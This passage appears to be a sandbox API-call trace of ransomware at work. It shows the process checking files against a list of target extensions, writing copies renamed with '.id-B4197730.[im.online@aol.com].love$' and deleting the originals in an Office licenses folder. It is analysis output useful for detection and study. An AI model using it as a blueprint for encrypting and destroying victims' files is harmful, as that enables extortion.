Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83 [0275.505] lstrlenW (lpString=".doc") returned 4 [0275.505] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0275.505] lstrlenW (lpString=".docx") returned 5 [0275.505] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0275.505] lstrlenW (lpString=".pdf") returned 4 [0275.505] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0275.505] lstrlenW (lpString=".xls") returned 4 [0275.505] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0275.506] lstrlenW (lpString=".xlsx") returned 5 [0275.506] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0275.506] lstrlenW (lpString=".ppt") returned 4 [0275.506] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0275.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83 [0275.506] lstrlenW (lpString=".zip") returned 4 [0275.506] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0275.506] lstrlenW (lpString=".rar") returned 4 [0275.506] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0275.506] lstrlenW (lpString=".bz2") returned 4 [0275.506] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0275.506] lstrlenW (lpString=".7z") returned 3 [0275.506] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0275.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83 [0275.506] lstrlenW (lpString=".dbf") returned 4 [0275.506] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0275.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83 [0275.506] lstrlenW (lpString=".1cd") returned 4 [0275.506] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0275.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83 [0275.506] lstrlenW (lpString=".jpg") returned 4 [0275.506] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0275.507] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0275.507] lstrlenW (lpString="O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 36 [0275.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0275.901] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=11630) returned 1 [0275.901] CloseHandle (hObject=0x454) returned 1 [0275.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ul-oob.xrm-ms")) returned 0x220 [0275.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0275.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484 [0275.929] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.929] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0275.932] GetLastError () returned 0x0 [0275.932] ReadFile (in: hFile=0x484, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x2d6e, lpOverlapped=0x0) returned 1 [0275.934] WriteFile (in: hFile=0x580, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0275.935] ReadFile (in: hFile=0x484, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0275.935] WriteFile (in: hFile=0x580, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x11c, lpOverlapped=0x0) returned 1 [0275.935] SetEndOfFile (hFile=0x580) returned 1 [0275.936] CloseHandle (hObject=0x580) returned 1 [0275.936] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.936] SetEndOfFile (hFile=0x484) returned 1 [0275.941] CloseHandle (hObject=0x484) returned 1 [0275.941] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0275.941] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ul-oob.xrm-ms")) returned 1 [0275.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86 [0275.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86 [0275.943] lstrlenW (lpString=".doc") returned 4 [0275.943] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0275.943] lstrlenW (lpString=".docx") returned 5 [0275.943] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0275.943] lstrlenW (lpString=".pdf") returned 4 [0275.943] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0275.943] lstrlenW (lpString=".xls") returned 4 [0275.943] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0275.943] lstrlenW (lpString=".xlsx") returned 5 [0275.943] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0275.943] lstrlenW (lpString=".ppt") returned 4 [0275.943] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0275.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86 [0275.943] lstrlenW (lpString=".zip") returned 4 [0275.943] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0275.943] lstrlenW (lpString=".rar") returned 4 [0275.943] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0275.943] lstrlenW (lpString=".bz2") returned 4 [0275.943] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0275.943] lstrlenW (lpString=".7z") returned 3 [0275.943] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0275.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86 [0275.944] lstrlenW (lpString=".dbf") returned 4 [0275.944] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0275.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86 [0275.944] lstrlenW (lpString=".1cd") returned 4 [0275.944] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0275.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86 [0275.944] lstrlenW (lpString=".jpg") returned 4 [0275.944] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0275.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86 [0275.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86 [0275.944] lstrlenW (lpString=".doc") returned 4 [0275.944] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0275.944] lstrlenW (lpString=".docx") returned 5 [0275.944] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0275.944] lstrlenW (lpString=".pdf") returned 4 [0275.944] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0275.944] lstrlenW (lpString=".xls") returned 4 [0275.944] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0275.944] lstrlenW (lpString=".xlsx") returned 5 [0275.944] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0275.944] lstrlenW (lpString=".ppt") returned 4 [0275.944] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0275.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86 [0275.944] lstrlenW (lpString=".zip") returned 4 [0275.944] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0275.945] lstrlenW (lpString=".rar") returned 4 [0275.945] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0275.945] lstrlenW (lpString=".bz2") returned 4 [0275.945] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0275.945] lstrlenW (lpString=".7z") returned 3 [0275.945] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0275.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86 [0275.945] lstrlenW (lpString=".dbf") returned 4 [0275.945] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0275.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86 [0275.945] lstrlenW (lpString=".1cd") returned 4 [0275.945] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0275.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86 [0275.945] lstrlenW (lpString=".jpg") returned 4 [0275.945] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0275.945] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0275.945] lstrlenW (lpString="O365HomePremR_SubTest3-ppd.xrm-ms") returned 33 [0275.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484 [0275.947] GetFileSizeEx (in: hFile=0x484, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=23134) returned 1 [0275.947] CloseHandle (hObject=0x484) returned 1 [0275.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ppd.xrm-ms")) returned 0x220 [0275.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0275.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484 [0275.948] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.948] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0275.950] GetLastError () returned 0x0 [0275.950] ReadFile (in: hFile=0x484, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x5a5e, lpOverlapped=0x0) returned 1 [0275.953] WriteFile (in: hFile=0x580, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x5a60, lpOverlapped=0x0) returned 1 [0275.955] ReadFile (in: hFile=0x484, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0275.955] WriteFile (in: hFile=0x580, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x116, lpOverlapped=0x0) returned 1 [0275.955] SetEndOfFile (hFile=0x580) returned 1 [0275.955] CloseHandle (hObject=0x580) returned 1 [0275.955] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.955] SetEndOfFile (hFile=0x484) returned 1 [0275.959] CloseHandle (hObject=0x484) returned 1 [0275.959] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0275.959] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ppd.xrm-ms")) returned 1 [0275.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83 [0275.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83 [0275.961] lstrlenW (lpString=".doc") returned 4 [0275.961] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0275.961] lstrlenW (lpString=".docx") returned 5 [0275.961] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0275.962] lstrlenW (lpString=".pdf") returned 4 [0275.962] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0275.962] lstrlenW (lpString=".xls") returned 4 [0275.962] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0275.962] lstrlenW (lpString=".xlsx") returned 5 [0275.962] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0275.962] lstrlenW (lpString=".ppt") returned 4 [0275.962] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0275.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83 [0275.962] lstrlenW (lpString=".zip") returned 4 [0275.962] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0275.962] lstrlenW (lpString=".rar") returned 4 [0275.962] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0275.962] lstrlenW (lpString=".bz2") returned 4 [0275.962] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0275.962] lstrlenW (lpString=".7z") returned 3 [0275.962] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0275.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83 [0275.962] lstrlenW (lpString=".dbf") returned 4 [0275.962] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0275.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83 [0275.962] lstrlenW (lpString=".1cd") returned 4 [0275.962] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0275.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83 [0275.962] lstrlenW (lpString=".jpg") returned 4 [0275.962] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0275.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83 [0275.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83 [0275.963] lstrlenW (lpString=".doc") returned 4 [0275.963] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0275.963] lstrlenW (lpString=".docx") returned 5 [0275.963] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0275.963] lstrlenW (lpString=".pdf") returned 4 [0275.963] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0275.963] lstrlenW (lpString=".xls") returned 4 [0275.963] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0275.963] lstrlenW (lpString=".xlsx") returned 5 [0275.963] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0275.963] lstrlenW (lpString=".ppt") returned 4 [0275.963] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0275.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83 [0275.963] lstrlenW (lpString=".zip") returned 4 [0275.963] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0275.963] lstrlenW (lpString=".rar") returned 4 [0275.963] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0275.963] lstrlenW (lpString=".bz2") returned 4 [0275.963] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0275.963] lstrlenW (lpString=".7z") returned 3 [0275.963] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0275.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83 [0275.963] lstrlenW (lpString=".dbf") returned 4 [0275.963] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0275.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83 [0275.963] lstrlenW (lpString=".1cd") returned 4 [0275.963] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0275.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83 [0275.964] lstrlenW (lpString=".jpg") returned 4 [0275.964] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0275.964] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0275.964] lstrlenW (lpString="O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 36 [0275.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484 [0275.965] GetFileSizeEx (in: hFile=0x484, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=11630) returned 1 [0275.965] CloseHandle (hObject=0x484) returned 1 [0275.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ul-oob.xrm-ms")) returned 0x220 [0275.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0275.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484 [0275.966] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.966] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0275.968] GetLastError () returned 0x0 [0275.968] ReadFile (in: hFile=0x484, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x2d6e, lpOverlapped=0x0) returned 1 [0276.373] WriteFile (in: hFile=0x580, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0276.393] ReadFile (in: hFile=0x484, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0276.393] WriteFile (in: hFile=0x580, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x11c, lpOverlapped=0x0) returned 1 [0276.393] SetEndOfFile (hFile=0x580) returned 1 [0276.394] CloseHandle (hObject=0x580) returned 1 [0276.394] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.394] SetEndOfFile (hFile=0x484) returned 1 [0276.757] CloseHandle (hObject=0x484) returned 1 [0276.757] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0276.758] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ul-oob.xrm-ms")) returned 1 [0276.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86 [0276.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86 [0276.760] lstrlenW (lpString=".doc") returned 4 [0276.760] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0276.760] lstrlenW (lpString=".docx") returned 5 [0276.760] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0276.760] lstrlenW (lpString=".pdf") returned 4 [0276.760] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0276.760] lstrlenW (lpString=".xls") returned 4 [0276.760] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0276.760] lstrlenW (lpString=".xlsx") returned 5 [0276.760] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0276.760] lstrlenW (lpString=".ppt") returned 4 [0276.760] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0276.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86 [0276.760] lstrlenW (lpString=".zip") returned 4 [0276.760] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0276.760] lstrlenW (lpString=".rar") returned 4 [0276.760] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0276.760] lstrlenW (lpString=".bz2") returned 4 [0276.760] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0276.760] lstrlenW (lpString=".7z") returned 3 [0276.760] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0276.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86 [0276.760] lstrlenW (lpString=".dbf") returned 4 [0276.761] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0276.761] lstrlenW (lpString="C:\\Program Files\\Microsoft 